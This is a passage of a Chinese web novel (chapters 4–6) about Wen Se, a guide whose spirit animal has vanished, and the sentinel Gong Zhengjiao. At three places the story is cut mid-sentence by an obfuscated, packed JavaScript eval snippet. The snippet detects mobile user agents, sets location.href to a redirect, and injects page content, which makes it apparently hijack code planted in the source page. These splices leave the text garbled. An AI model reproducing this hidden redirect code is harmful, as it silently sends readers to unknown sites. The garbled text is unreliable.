顺着刃齿虎的目光望去,现实中,那里却空空如也。 它只存在于刃齿虎的眸光倒影中。 就像巨大的树脂滴下,刚好将一只黑天鹅包裹住,让时间静止在那美丽的一瞬。 那是闻璱的精神体。 闻璱已经两年没有见过它了。 4. 第 4 章 罹患罕见病是一件多么无奈且不幸的事,闻璱认为自己在这个话题上有绝对的发言权。 从不知何时,闻璱的精神体,黑天鹅小黑,进入了一种“隐身”状态。 一开始,是忽隐忽现,作战时无法及时响应,后来症状越来越严重。 直到两年前的某天起,彻底没有任何一个哨兵、向导和精神体能看到、察觉到小黑。 就连在精神图景里的闻璱自己,也不例外。 偶尔,小黑会突然捣乱,让闻璱知道它还存在。 譬如那天晚上书桌和柜子上的水迹,就是小黑从外面回来留下的爪印。 有时闻璱心想,或许小黑不需要用这个办法,因为精神体和精神图景与哨兵向导的性命息息相关。 闻璱还活着,足以证明小黑没有彻底消散。 但有时,闻璱似乎能猜到小黑为什么这样做。 大概这只天鹅只是太孤独了。 这种罕见病究竟该被命名为“拟态隐身症”还是“拟态孤独症”,在医学界也还没有定论。 闻璱更偏向于后者。 作战中,精神体的作用毋庸置疑,罹患拟态孤独症之后,闻璱无法再参加小队任务,后来甚至彻底放弃通过公会任务积分来兑换金钱的道路。 因为闻璱需要很多很多的钱。 拟态孤独症的研究可以说是尚未入门,就目前来看,闻璱是世界上第一例,也是唯一一例。 想要治疗,不单单是钱的问题,但没了钱更是寸步难行。 多年来辛苦做任务,闻璱曾经攒下不少存款,如今已经尽数投入进拟态孤独症的研究中。 然后,连个响都没听见。 却还是只能继续下去。 公会任务的报酬和任务难度成正比,失去精神体辅助作战的闻璱,即便还能独立完成一些中级、低级任务,获得的报酬也不过是杯水车薪。 因此,闻璱只能选择接私活——安抚哨兵。 向导和哨兵的任何队外关系,都受白塔的监管。 虽然闻璱在圣所时成绩优异,拥有诊疗资质,私下安抚哨兵,仍然严重违法了法律条例。 但闻璱别无他选,这是对他来说来钱效率最高的办法。 当然,是除了卖身之外。 辛辛苦苦这两年,为的就是这只鹅。 闻璱才不过是惊鸿一瞥,下一秒,那道影子连同刃齿虎都消失在眼前。 弓铮皎道:“抱歉,空间太小,阿咬它可能有点……” “再让我看看。”闻璱打断他。 片刻后,又缓下语气:“抱歉,能再将它放出来让我看看吗?刚才没看够。” 弓铮皎虽有些摸不着头脑,还是将刃齿虎再次从精神图景中召出。 但这一次,刃齿虎眼中再也没有黑天鹅的倒影了。 闻璱垂下眼眸,敛去眼中的失望,随口道:“原来它叫阿咬,真是威猛。” 话音落下,被呼唤名字夸奖的刃齿虎喉咙中滚出呼噜声,低音炮的那种。 弓铮皎自觉没面,又把它赶回精神图景去,替它应了:“对,阿咬,因为他很能咬。” 喝了口水平复心情,再抬眼时,闻璱已是神色如常:“我们刚刚聊到什么来着?” “……”弓铮皎回答,“聊到你的工作。” “哦对,我的工作。”闻璱站起身,缓缓走到弓铮皎身侧。 这是单人沙发,闻璱只能倚坐在扶手上,微微垂下头靠近了弓铮皎。 他盘在脑后的银发恰到好处的漏出来一缕,在弓铮皎眼前晃动。 偏偏顶级哨兵的感官敏锐过人,弓铮皎甚至觉得有一阵带着冷意的水生调香气,被发丝扇动的微风送进了自己鼻间。 让人晕晕的。 当这张姣好的脸凑到弓铮皎眼前时,弓铮皎才突然觉得,美貌竟然也能如此有震慑力,让他下意识屏住呼吸。 他无法控制地欣赏那精致漂亮的眉眼、鼻梁,脑袋里萌生出莫名其妙的胡思乱想。 譬如蝴蝶效应或许不该叫蝴蝶效应,而该叫闻璱睫毛效应,因为闻璱只是眨眨眼睛,扇动的微风就让弓铮皎觉得自己喉咙发痒,思维迟钝,呼吸困难,跟喝了百草枯一样几乎命不久矣。 “铮皎,我可以这么叫你吗?”闻璱终于伸手捞回那缕影响人注意力的发丝,声音轻轻,“你相信我不是做那种生意的,对吗?” 弓铮皎勉强找回神智:“你应该不是吧。” “哦?”闻璱又眨了眨眼,冲他耳朵吹了一口气:“不是……吗?” 弓铮皎没有回答,但耳朵变得越来越红,终于——他忍不住偏开头时,刃齿虎阿咬又出现了。 阿咬把头放在沙发的另一边扶手上,似乎在和闻璱分庭抗礼。 身体却兜了个大圈从沙发背后绕过来,让尾巴偷摸缠上闻璱的脚腕。 弓铮皎用右手背挡住了通红的左耳,整个人倒向阿咬那一边,声音含糊得像含着颗仙人球:“你别这么喊我……” 闻璱微微一笑,直起身子:“那该怎样?喊全名太生疏,或者……” “蒸饺omo?” 当论坛ID连同字母都被闻璱念出的一刻,弓铮皎光速降温了。 阿咬“呜”了一声,也没了踪影。 “这和你的名字有什么区别?”大号实名上网的闻璱不太理解,只能问,“那你的朋友都怎么喊你?” “怎么喊的都有,老弓、弓哥……”弓铮皎说,“我比你大,你喊我声哥也不吃亏。” “……”这两个建议,闻璱都想婉拒。 闻璱跳过称呼环节,转而坦诚道:“我确实不卖身,你放心。” “那太好了,你提供服务,我付钱,我们……” “但是,我的服务范围未必适用于你。”他微微一笑,拉开手边隐形柜的抽屉。 “听令哐啷”地一阵金属碰撞声,即便抽屉内层都贴了静音绒布,噪声仍然让弓铮皎眉心一拧。 但他往那抽屉里瞟了一眼,顿时耳朵不嗡了,脑袋不痛了,心脏都快停跳了。 闻璱拾起其中的一把——电钻,缓缓道:“我是专门处理精神体牙齿健康的牙医。” 他按动开关,让钻头高速旋转。 即便钻头技术优越,已经实现了基本静音,但以弓铮皎的耳力,仍然能够听到这令人不安的、头皮发麻的嗡嗡声。 在全人类共同的噩梦之音里,闻璱温声问:“阿咬也牙疼吗?” 阿咬吓得在精神图景里刨窝掩埋自己。 “这个……那个……”弓铮皎语无伦次,“我家阿咬的牙口还是挺好的……” 闻璱笑了笑,把电钻放了回去:“所以,我才说金钱关系不适合我们,交个朋友不好吗?” “……”对这个提议,弓铮皎又不满了,但电钻余威尚在,他不敢反对。 “朋友……那朋友给你发点零花钱吧。”弓铮皎退了一步。 闻璱按住他要拿终端的手:“朋友也可以互相之间帮帮忙。” 不知为何,这“互相之间帮帮忙”的话在这里说出来,又显得有种莫名的暧昧,让弓铮皎如坐针毡。 但闻璱的下一句话就把他钉在了椅子上。 “你的状态很不好,再这样下去,恐怕你的精神图景会出现异常。” 这一次,弓铮皎沉默了很久。 再抬头时,蓝紫色的眼中已有几分冰冷的敌意:“你想做我的向导?不可能。” “当然不是。”闻璱惊讶道:“这只是朋友之间的互帮互助啊。” 弓铮皎茫然了。 私下安抚之所以被禁止,其实是为了保护向导。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418153|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安抚过程中哨兵可能会发狂,仅靠一个等级相近的向导,很难控制住场面。 因此,除了结合关系和队内安抚之外,哨兵唯一可以得到合法安抚的地方,是白塔的疗愈中心,因为那里有专门用于应对发狂哨兵的场所。 不过,由于应对手段相对简单粗暴,那里也被哨兵称为“小黑屋”。 所以,除非实在走投无路,哨兵都不会去疗愈中心。 这“朋友间的互帮互助”,显然超出了弓铮皎的认知。 “不合规。”闻璱做了个‘嘘’的手势,声音轻得像在掏耳朵:“所以,你要替我保守秘密哦。” 他说着,拿出终端切小号,给弓铮皎展示自己的账号。 AAA拔牙小鸭,默认头像,签名是:拔牙请提前预约。 弓铮皎恍然大悟——拔牙是闻璱私下接活安抚哨兵的“暗号”。 对于哨兵来说,精神图景、精神体状态异常带来的隐痛,确实就像牙疼一样,挥之不去,又疼得人睡不着觉,暴躁发狂。 弓铮皎下意识问:“真的只是……‘拔牙’?” 他的耳朵捕捉到,似乎有一声带着鼻音的轻笑声逸出,闻璱看着他,那双粉色的眼睛微微弯了,稍显促狭,似乎在问:你在期待些什么呢? 想明白这一点反而让弓铮皎一阵不自在,站起身说:“我先回去了。” 弓铮皎捞起自己的耳机戴上,向门口走去的背影中,颇有几分落荒而逃之意。 闻璱想起他刚才连续变脸,微微一笑,并不阻拦。 临走前,弓铮皎又叮嘱了一句:“注意安全,有事喊我。” 似乎因为他自己感官过分敏锐,他关门的动作也很轻,几乎没发出任何声音。 透过窗户,闻璱的目光追随着弓铮皎的身影,看到弓铮皎走出去几步,又若有所觉地冲里面摆了摆手。 方向判断稍有误差,因为闻璱没有呆在原本的位置上。 闻璱摸了摸下巴,把刚才编辑好的消息点击发送: 【饭盒没拿。】 结果,弓铮皎用动作Say过Bye之后,就插着兜走了,根本没看终端。 闻璱只能收拾好残局,静候下午的客户到来。 下班之后,闻璱才再次切回大号。 蒸饺omo一连回复了好几条: 【!】 【马上来。】 【算了,等你忙完了喊我。】 【注意安全,有事喊我。】 闻璱觉得好笑,忍不住轻声念了一遍:“有事喊你?” 谁知蒸饺omo立刻回复:【对,有事喊我。】 闻璱:! 这就有点惊悚了。 闻璱下意识望向弓铮皎中午坐过的沙发,怀疑那里被留下了窃听器。 终端又震动起来,弓铮皎也明白自己的话令人不安,立刻解释道:【抱歉,我不是故意的,但我能听到。】 听到? 闻璱有些不敢置信:【打扰到你了吗?可能是隔音不太好,我开了静音模式的,抱歉。】 蒸饺omo:【不用抱歉,不怪你,是我的问题。】 蒸饺omo:【没有窃听你隐私的意思。】 即便是哨兵朋友多如海的闻璱,也是头一次听说竟然有哨兵的听觉能敏锐到如此程度。 怪不得弓铮皎出门时,几乎时刻戴着那副降噪耳机。 所以说…… 闻璱抬头喊了一声:“蒸饺omo?” 蒸饺omo发来一个可怜的橘猫低头表情包。 蒸饺omo:【别这么大声喊我的网名,太社死了。】 闻璱:…… 虽然他觉得,弓铮皎纯粹是掩耳盗铃。 铮皎蒸饺,还用阿咬的牙作为头像,这和裸奔上网的差别很大吗? 5. 第 5 章 闻璱还没来得及回复,就听到门铃响了。 他心道弓铮皎来得还挺快,却没想到门打开之后,外面站着另一个人。 阴魂不散的彭枭,脸色又黑又白又紫,比上一次还难看。 闻璱脸上淡淡的微笑立刻消失,抱臂靠在门框上,仍然没有让开位置的意思。 不过,脸上挂着彩的彭枭这回也不敢来硬的了。 大眼瞪小眼了几秒钟,彭枭干巴巴地开口:“我不知道那么说会给你带来困扰。” 闻璱“嗯”了一声,说:“我完全没往心里去。” 确实——不仅这件事没往心里去,甚至把彭枭这个曾经的朋友都踹出心里了。 彭枭还以为这是个台阶,表情也放松了些:“我就知道,你不会误会我。” 闻璱懒得跟他废话:“你还有什么事?” 彭枭一愣,又解释起来:“你知道我不是故意的,我只是一时上头了才会那么说,我从来没有真的以为你是那种人……” 闻璱打断他:“我忙着下班回家,不是在跟你叙旧。你到底想干什么?” 说着,他垂眸看了一眼手表,明示自己很急。 彭枭还有些没反应过来:“我觉得我们的冷战也该结束了,我是来找你道歉的。” “好的,接受了。”闻璱飞快地接话,“现在你可以离开了。” 显然,这并不是彭枭想要得到的回应。 他又阴了脸,嘴唇翕动片刻,尽可能委婉道:“礼尚往来,你是不是……?” 闻璱终于有点惊讶了,原来彭大公子大驾光临,是为了听自己道歉。 而且看彭枭现在的表情,似乎完全不觉得这有什么不对。 闻璱完全无法理解彭枭的脑回路。 但他心想,再聊一会,弓铮皎就该下来了。 甚至很有可能,弓铮皎已经在某个角落里善解人意地“回避”。 倒不是真有什么不堪过去怕被人知道,而是以弓铮皎迄今为止的表现,闻璱怀疑这个“热心群众”一会又会说教之魂大爆发。 闻璱敲了敲手表表盘,直白道:“我没什么想说的,你赶紧走。” 彭枭咬了咬牙,脸色不善道:“你非要跟我这样置气?” 见闻璱还是面不改色,彭枭更是把来之前做的心理建设都抛到脑后。 “闻璱,你真的不知道我对你有多好。”彭枭道,“追我的向导能从这里排到南极,而你却在外面当鸭?你不知道,有些话我一直不说,不是我不懂,是我想给你留点面子,也给你我之间留点余地。” 闻璱平静道:“不用给我留余地。” “你跟我嘴硬有意义吗?”彭枭冷笑一声,“你违规接活为的不只是钱,还有高等级哨兵的人脉,应该说在圣所的时候就是如此,你一向功利,只会接触有利用价值的人,就像我和小胖。但你装的再好,也瞒不过我,因为我了解你——你就不怕我真的去白塔和公会登记,把你踢出队伍?” 小胖是逄靥星的昵称,虽然正常情况下,他一点也不胖。 闻璱就知道彭枭会这么说。 但他也不认为彭枭真的会去登记分队。 因为他们这个小队的队长,从始至终都是闻璱。 正因为整个队伍都是被闻璱聚集在一起的,才会有闻璱脱队两年,还能苟在队里白蹭积分这种事。 闻璱休息之后,队伍内的权限基本上转移给了副队长逄靥星。 所以闻璱想要继续苟分,只需要稳住逄靥星那边不要冲动就好。 彭枭再跳脚,也只能放放狠话,传传黄谣,打不出什么实质伤害。 而闻璱也很清楚该如何气死彭枭。 他唇角微弯,缓缓说:“那你说这件事我一直不瞒着小胖,唯独不告诉你,是为什么?” 看着彭枭几乎抽搐的脸,闻璱微笑道:“当然是彭大公子的人脉,现在对我来说毫无价值了。所以,你这坨不可回收垃圾,还不快滚?” “你!”彭枭很少从闻璱嘴里听到这么不客气的话,气得整张脸都扭曲了,却又浮上一丝潮红。 宁静声中突然传来一声像笑声的诡响,一道深色的影子突然从高空扑向闻璱! 但有人的反应比精神体更快。 一只手从旁边伸来,截住了彭枭的猫头鹰。大手掐着猫头鹰的两只翅根,像提溜野鸡一样轻巧。 正是弓铮皎,他果然在暗处偷窥。 也没见弓铮皎如何用力,反正猫头鹰啸叫一声,就消失了。 精神体被揍得不轻,彭枭的脑袋也像是被放进微波炉转了一圈,痛得几乎炸裂。 他捂住耳朵,闷哼着看向不知何时,从不知何处冒出来的兜帽人,从牙缝里挤出几个字:“你是谁?你知不知道我是谁?少多管闲事!” 闻璱的目光扫过弓铮皎手臂,抢在弓铮皎之前道:“彭警官,非巡逻时间,在市区内召出精神体攻击他人,这应该是违规的?” 他突然想起以前彭枭的威胁,有样学样:“你也不想这么大年纪了还要被我告家长吧?” “闻璱!”彭枭怒道:“这是我们俩的事,你怎么胳膊肘朝外拐!” “……”闻璱真觉得和彭枭沟通纯属自讨苦吃。 但看彭枭那样子,恐怕放不了两句狠话,就得乖乖回家打精神力康复剂然后睡觉休息,闻璱又觉得好笑。 他转头对弓铮皎道:“进来吧。” 然后侧过身子,刚好让眼疾身快的弓铮皎挤进来。 下一秒,他就迅速关门,让门板狠狠给彭枭一记重拳。 白噪音模式立刻拉满,隔绝了外面彭枭的鬼叫。 闻璱指了指桌上打包好的饭盒,对弓铮皎道:“他呆不久的,你稍微等会吧。” 见弓铮皎乖乖在沙发上坐下,闻璱随口道:“又让你看笑话了。是不是还挺好玩的?” “不好玩。”弓铮皎闷闷地说,“这很危险,如果不是我在,你会受伤。” “是吗?”闻璱不置可否。 “他是A级哨兵,现在正是他精神体雕鸮活跃的时间。”弓铮皎道,“他情绪也不稳定,如果你再刺激他,他的精神体暴动起来,很难应付。” “可我看你刚才应付得很轻松。”闻璱道。 “没那么简单。”弓铮皎倒是很谦虚地就事论事,“他会飞,这是我的弱项。” 闻璱不禁一笑。 如果刃齿虎这等陆地霸主还兼具对空压制力,那确实有些过分了。 他的目光则毫不掩饰地望向弓铮皎的手。 那只手曾在一瞬之间擒住雕鸮的翅根,闻璱眼尖瞧见他甚至只用了两根手指。 雕鸮的扑杀力度不小,更别说这是A级哨兵的精神体雕鸮,无论力道还是速度,都比自然界的普通猫头鹰更强数倍。 这可不是仅靠“顶级哨兵的体质”就能解释的。 见弓铮皎还在装傻,闻璱冲他挑了挑眉毛,似乎放弃深究这个话题。 转而问:“你的听力是不是有些太好了?” 弓铮皎坦然道:“我不是想偷听,只不过,在我家里,我也想有摘下耳机休息一会的时候。” “我也并不是指责你的意思。”闻璱似乎有些无奈,“但是,如果我的客户们知道,在这里没有隐私,就没人敢来找我了。” “你想怎样?”弓铮皎很平静,“这里是我的家,总不能让我走吧。” 似乎以为闻璱是在委婉地暗示,让他这个房东回避。 闻璱也有些愣神:“我看起来是这么不讲理的人吗?” 弓铮皎喉头微滚,咽下了险些说出口的:也不是不能商量。 “前首席,虽然你销声匿迹很多年了,但我依稀记得,你也曾经有一个小队的,”闻璱微笑,“我想,你应该也多多少少接受过向导的帮助。” 弓铮皎移开视线,低声说:“只有在小黑屋里。” 紧跟着接上一句:“我不喜欢那种感觉。” “真的只是不喜欢吗?”闻璱步步紧逼,“还是说,你其实是融合派?” ‘融合派’三个字一出,弓铮皎的目光顿时锁定了闻璱,很久都没有眨眼。 融合派是个小众的新概念。 与之相对的是传统且大众的‘结合派’,也就是常见的指少一哨兵一向导互相结合,向导为哨兵调整感官,哨兵在指挥下,放出独立的精神体,以两人两精神体为一组,配合作战的一种行动方法。 当然,高等级的向导可以同时辅助多个同等级哨兵。 融合派的少部分特种人,则通过自身与精神体进行拟态融合,来实现单人独立作战。 这对精神力的要求太高,以至于在绝大多数人眼中,融合派永远只能存在于理论中,就像“永动机”一样。 不过,现实中的融合派特种人是极少数,但特种人相关的文艺作品里,这可是超级烫门,刷一下终端都会自燃的程度。 因为大多数情况下,融合派的作战方式确实像文艺作品中那样,融合耳朵、眼睛、爪子,或是吻部等特定部位,来增强相应的感官、力量、速度。 毫无疑问,这满足了很多福瑞相关的XP,还有什么猫耳男、兔男郎等等…… 闻璱如此试探,也是因为似乎有那么一瞬,他看到弓铮皎的指甲变尖了。 武侠迷会怀疑是九阴白骨爪,社畜会怀疑自己眼花,而闻璱的经验告诉他,这是一瞬间进行了拟态融合——但融合范围很小,精度很高,仅限于两只手指的末端指节。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418154|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 融合派本就罕见,能够如此得心应手地进行部分拟态融合,更是难得。 以至于闻璱也不敢完全确定,不得不询问求证。 弓铮皎没有出声,静静地与闻璱对视。 似乎正在进行一场无声的对峙。 但最终,弓铮皎先让了一步:“没错,我是融合派。” 果然。 闻璱顺藤摸瓜:“因为习惯了融合派的作战方式,所以你不喜欢有向导调整你的感官,是吗?” 弓铮皎点点头,复又摇摇头:“是精神图景的问题。” “你是向导,你比我清楚,想要调整感官,最好先和哨兵建立双向信任的关系,再进入精神图景。但是,我做不到。” 说着,弓铮皎突然皱眉:“其实哨兵的精神图景都很危险,建立信任关系也需要时间。不怪白塔不允许向导私下安抚哨兵,你这样真的很不安全。” 闻璱一不留神,果然又被弓铮皎说了一通。 他无奈道:“不用担心我。” 他的安抚流程其实没有这么复杂,这也是。 不过,这些细节就不用跟弓铮皎细细解释了。 “我的意思是……”弓铮皎掩耳盗铃地把拳头放在唇边,闷闷地清咳了一声,“如果有人帮你的话,可能会安全一些。” 恰巧,这提议也正中闻璱下怀。 闻璱心中难免起疑,面上却似笑非笑:“难道不会是双重危险吗?你可比他们的等级都高。” “不会。”弓铮皎干巴巴地说。 见闻璱不为所动,弓铮皎又说了一句:“你不用害怕我……” 话没说完,后半句似乎被咽回肚子里。 他迟疑着勾下口罩,露出一张嫩生生、水灵灵,白皙而端正的帅脸。 让闻璱心下微讶,有一瞬间思考起一个荒谬的问题:弓铮皎这个二十八岁究竟有没有谎报年龄的成分。 弓铮皎显然没注意然后面对闻璱缓缓张开嘴。 虽然没有阿咬那么夸张,但弓铮皎的虎牙也很明显——更明显的是,那两颗上虎牙上亮晶晶的,像是镶了牙钻。 这就有点浮夸了吧,但是和那个满钻终端的审美倒是很接近。 但随着弓铮皎卷起舌头,闻璱瞳孔骤缩。 有两根金属链条从他尖尖的虎牙内侧伸出来,接向舌根和下颌,最终贴在舌侧的两片“纽扣电池”上。 难怪弓铮皎从不在工作室和自己一起用餐。 难怪弓铮皎说话的时候总感觉有些吐字不清,因为既无法完全张不开嘴,舌头也不能自由摆放,随时都像含着个…… 惊讶过后,闻璱的神情反而有些凝重:“这不只是止咬器,这是……” “强酸炸弹。”弓铮皎回答了他的疑问。 链条用于束缚牙齿,也连接着舌下的微型机关,一旦这两颗虎牙异变,也就是拟态融合了阿咬的匕首牙,强酸会立刻把弓铮皎的下半张脸都烧成渣。 有意思的是,链条和机关之间的扣环却很简单,似乎只需要轻轻一按,就能解开。 由此可见,这绝不是白塔制造。 看过之后,弓铮皎戴回口罩,似乎也有些难为情。 但他还是对闻璱承诺:“有它在,我不会失控。” 闻璱心中却道:不,恰恰相反。 戴上这个酸弹装置,很大概率是弓铮皎自己的选择。 如果真的相信自己不会失控,就不会自己给自己套上枷锁。 这不仅不能证明弓铮皎安全,反而让闻璱确定,弓铮皎无法与向导建立信任关系,不是因为“不喜欢”,而是连他自己都在害怕,自己会造成无法挽回的后果。 但是,本能的警惕之余,闻璱能感觉得到,他的心跳有短暂地加速。 但那不是恐惧,而是因为兴奋。 类似一种青春期的好战欲,在十年之后姗姗来迟的陌生感觉。 闻璱从没有跟人说起过。 安抚哨兵多年,他并不是像其他向导那样,靠相互信任的感情作为进入精神图景安抚的基础。 那些环节对于闻璱来说,纯属浪费时间。 闻璱只做一件事:用绝对的精神力压制对方臣服。 臣服之后,精神图景自然敞开由闻璱接管。 绝大多数哨兵甚至未必能察觉到,自己的精神图景已经“沦陷”,然后又被闻璱修复、重新构建。他们大多只是认为,闻璱的安抚技术实在高超,安抚的体验、效果都格外优越。 这是一种单向信任的关系,哨兵向闻璱臣服,但闻璱不需要对他们交付信任,他只需要信任自己的能力就好。 而像弓铮皎这样高等级、高敏锐度、具有挑战性的哨兵,闻璱已经很久没有遇到了。 6. 第 6 章 又是一个周一,闻璱跟这一周的所有客户进行了条款更新,即他将有一位“助手”在安抚过程中为他打下手。 当然,只有闻璱自己知道,这位其实并不想当助手,而是想当金主。 好消息是,几乎没有客户对此表示反对,甚至有新客户在得知那位“助手”是一位哨兵之后,表示更有安全感了。 比起一些多余的感情和操心,客户们更担心自己在安抚过程中失控,暴起伤人,登上社会新闻版面。 更好的消息是,逄靥星接了新任务,彭枭跟队,接下来起码有一个月的时间都得呆在污染区,没空来打扰闻璱。 别的不说,彭枭对待任务的基本素质值得肯定,不会在任务期间折腾一些有的没的。 闻璱因此心情很好。 弓铮皎也是。 因为“兼职”的第一天,工作十分轻松顺利。 而且,在他的极力要求,和美食的诱惑下,他实际上算是承包了闻璱午、晚两餐。 工作室里几乎没有什么需要他做的事情,他只需要坐在那里看看书、刷刷终端,当个安静的摆设。 中午上楼把送来的饭拿下来吃了,下午继续当摆设,直到晚上下班。 就连用过的餐具,弓铮皎都会再拿到楼上,据他所说,保洁会帮他放进洗碗机。 于是,无所事事的弓铮皎开始仔细观察闻璱的安抚过程。 看起来只是简短的聊天之后,闻璱会命令哨兵选择一个舒服的位置和姿势做好准备,然后用戴着手套的手按在哨兵的太阳穴上。 两人先后闭上双眼,接下来就是精神图景之中的事了。 每一场安抚开始之前,闻璱会询问哨兵是否选择戴上安全保护装置。 是一种具有轻微抑制效果的神经贴片,对高等级哨兵来说效果聊胜于无,只能图个心安。 从某种程度上来说,有些类似于弓铮皎嘴里的强酸炸弹,只是杀伤力低太多。 几天观察下来,终于某次晚饭,或者说夜宵时候,弓铮皎忍不住问:“你的精神体呢?” 情绪激动、精神力高度活跃的状态下,无论是哨兵还是向导,都很难抑制住精神体自发出现。 就如今天,每一位接受安抚哨兵的精神体,都在安抚的前中期就不受控制的出现。 它们并不攻击,而是在闻璱和哨兵身边绕圈,间歇在人的脚边坐下。 随着安抚进入尾声,它们显得更温顺也更放松,在哨兵清醒过来之后,才会兴奋得像叼着飞盘的小狗。 这整个过程还真的有些像拔牙。 当“坏牙”被拔掉之前,它们安静但也焦虑、踌躇。 安抚之后,它们就像是被解决了心头大患一样,快乐地扑向哨兵。 唯一的缺点大概是,拔牙之后,精神体似乎很容易对“牙医”本人产生依赖性。 弓铮皎已经见证了无数个事故现场—— 精神体扒在闻璱腿边,哨兵扯都扯不走,最终不得不由哨兵本人痛下毒手,捏晕自己精神体。 不过,弓铮皎也敏锐地察觉到一丝反常。 那就是这几天下来,无论是什么样的情况,闻璱的精神体一次都没有出现。 究竟是这对于闻璱来说太过于轻松平静,还是…… “不是在避讳你。”闻璱打断弓铮皎的胡思乱想。 高等级哨兵的精神体通常为猛兽,许多向导的精神体会被吓得应激,但闻璱和小黑显然不在此列。 只不过,闻璱并没有将自己的病情全盘托出的意思。 这又不是什么光荣事。 闻璱咽下最后一口饭,擦了擦嘴,淡淡道:“只是不需要它出现而已。” 这倒也是实话,目前没有遇到过那么棘手的情况,需要他在对方精神图景中进行拟态融合,才能解决问题。 弓铮皎点点头,没有再多问。 忙完之后,弓铮皎提着饭盒上楼回家。 闻璱也准备赶末班地铁返回宿舍。 临走前,闻璱注意到弓铮皎坐过的那个沙发上,角落里似乎有什么一闪一闪亮晶晶的东西。 还真有窃听器? 他最近一看,彻底无语了。 缝隙里,居然用廉价塑封袋装了一颗米粒大的蓝宝石。 如果不是旁边还夹着一片薄薄的证书,闻璱真的会怀疑,这是弓铮皎临时从那个浮夸的终端上抠下来了一颗。 证书背面还贴着一张便利贴,上面写着:精神力等级C+,建议零售价二十万,够你买辆代步车,起码上下班方便点。 居然还是一颗蕴含精神力的特殊宝石,难怪小小一颗就能卖出如此高价。 弓铮皎真是…… 真是绞尽脑汁地散财。 闻璱思索片刻,拿出终端给弓铮皎发消息。 【图片】 【我好像没有提过你需要付费上班?】 蒸饺omo:【怎么能这么说?这是给你的小礼物。】 倒是理直气壮。 闻璱:【你上班还给老板送礼?】 蒸饺omo:【是啊,上学给老师送礼,上班给老板送礼,我从小到大都这样。】 蒸饺omo:【难道你不是?】 闻璱思索片刻,转而道:【可我不喜欢开二十万的车。】 蒸饺omo:【?】 蒸饺omo:【那你想要多少?】 上钩了。 闻璱嘴角一弯。 他把宝石拿出来放在自己并拢的指间,又拍了一张照片发过去。 白皙的手,深邃的蓝,对比鲜明。 闻璱:【它戴起来倒是很衬肤色,对不对?】 蒸饺omo:【还行。】 闻璱:…… 还行?居然只是还行! 但他仍然继续说:【比起裸石,我更喜欢镶嵌好的首饰。】 提起要求来,倒是毫不脸红。 过了一会儿,蒸饺omo才回复:【知道了。】 竟然也对此毫无意见。 闻璱把宝石放在桌子上,果然第二天一不留神,那枚宝石就消失了。 换成了一把镶着宝石的车钥匙。 对于这处处镶钻的品味,闻璱已无力吐槽。 他才拿起车钥匙看了一眼,弓铮皎就说:“你不想要的话,也可以借你开。” 真是好卑微的送礼。 闻璱把车钥匙扔回弓铮皎怀里,忍不住问:“我们以前有什么渊源吗?我是说,在事务中心那天之前。” 无事献殷勤,还献到这个地步,非奸即盗。 如果不是这些天观察时,弓铮皎似乎确实对他的病症一无所知,闻璱简直要怀疑,弓铮皎就是造成自己拟态孤独症的幕后黑手。 弓铮皎抿了抿嘴,说:“渊源……可能以前有朋友跟我提过你吧。” 闻璱其实不太好奇,但很捧场地问:“说我什么?” “说你特别S。”弓铮皎认真道:“S是什么意思?你不是A级吗?” 闻璱:…… 这个问题闻璱回答不了,只能装作很忙无暇顾及。 . 这天午饭之后,等了很久,下午的客户都没有出现,发出去的消息也石沉大海。 因为是位新客户,闻璱也不太了解对方的情况,只能将情况登记上报。 没过一会,白塔那边有了回复,说这位哨兵突然暴动,目前已经在疗愈中心,在通过评估之前不能离开。 这也是这周的最后一单客户,也就是说,闻璱提前下班了。 他撑了个懒腰,那边正在刷终端的弓铮皎立刻抬起头:“怎么了?” “自由了。”闻璱说,“今天能早点收工。” 弓铮皎点点头,立刻道:“辛苦了。那我先回家了。” “等等。”闻璱说,“临走前,再跟阿咬打个招呼吧。” 他们似乎有一个无形的约定,但谁都没有把话挑明——闻璱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418155|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伪装成单纯的刃齿虎控,每天早中晚各逗弄阿咬一次,其实是想暗中寻找拟态孤独症康复的可能。 不过这几天或许不巧,阿咬也没有再看见过小黑。 而闻璱也能察觉出,弓铮皎对自己同样有所谋求。 只是暂时还没有确定,究竟求的是什么。 各怀鬼胎,但闻璱总觉得弓铮皎更可疑一些。 比如这一次,弓铮皎着急忙慌地要走,看起来像做了什么亏心事。 阿咬出现时,显得也有几分极力掩饰的局促不安,但演技比弓铮皎还差。 经过一周多的相处,闻璱对于和阿咬相处算得上是得心应手。 闻璱缓缓伸手,等待阿咬把爪子主动搭上来,却得到了一颗沉重而巨大的头颅。 阿咬用下巴毛蹭了蹭他的掌心,然后突然“呕”了一声。 